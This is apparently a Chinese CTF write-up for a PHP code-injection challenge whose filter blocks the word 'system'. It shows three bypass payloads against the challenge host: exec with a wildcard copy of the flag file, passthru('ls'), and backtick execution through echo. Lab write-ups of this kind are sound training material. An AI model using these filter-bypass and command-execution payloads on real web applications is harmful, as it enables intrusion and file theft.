拿到url首先查看源码,发现源码对比上一题只是多了个对输入值system的过滤
preg_match
函数过滤system
函数,但是php中执行方法的函数有很多,比如passthru、exec,shell_exec
等 ,注意exec
对执行的结果不输出
passthru
和system
的作用是一样的,解题的姿势有很多,本文简述几种解题方式
解法一:
这里用exec执行函数,虽然exec对执行结果不输出,但是不代表不可以查看flag,这里用函数执行复制(将flag复制给1.txt,直接用浏览器访问1.txt),由于flag被过滤,这里用通配符表示
Payload:
1c169b4f-2968-4804-9ca1-900835155761.challenge.ctf.show:8080/?c=exec(‘cp fla* 1.txt’);
小细节:‘ 单引号用url编码之后是%27
然后直接访问url/1.txt查看flag
解法二:
用passthru
函数执行命令
构造payload查看当前目录下的文件
payload:
1c169b4f-2968-4804-9ca1-900835155761.challenge.ctf.show:8080/?c=passthru(%27ls%27);
接下来执行命令查看flag,nl、tac、cat等等都是查看文件的命令
解法三:
在php中echo ·命令·;也是可行并能执行输出的,为此作者特地做了个实验:
<?php system('$_GET[a]');?>等同于<?php echo`$_GET[a]``;?>访问url,并且在后面加上想执行的命令
有了这个实验结果,这题也可以用这个解法来解
构造payload:
payload:
1c169b4f-2968-4804-9ca1-900835155761.challenge.ctf.show:8080/?c=echo `ls`;
查看当前目录下的文件
尝试获取flag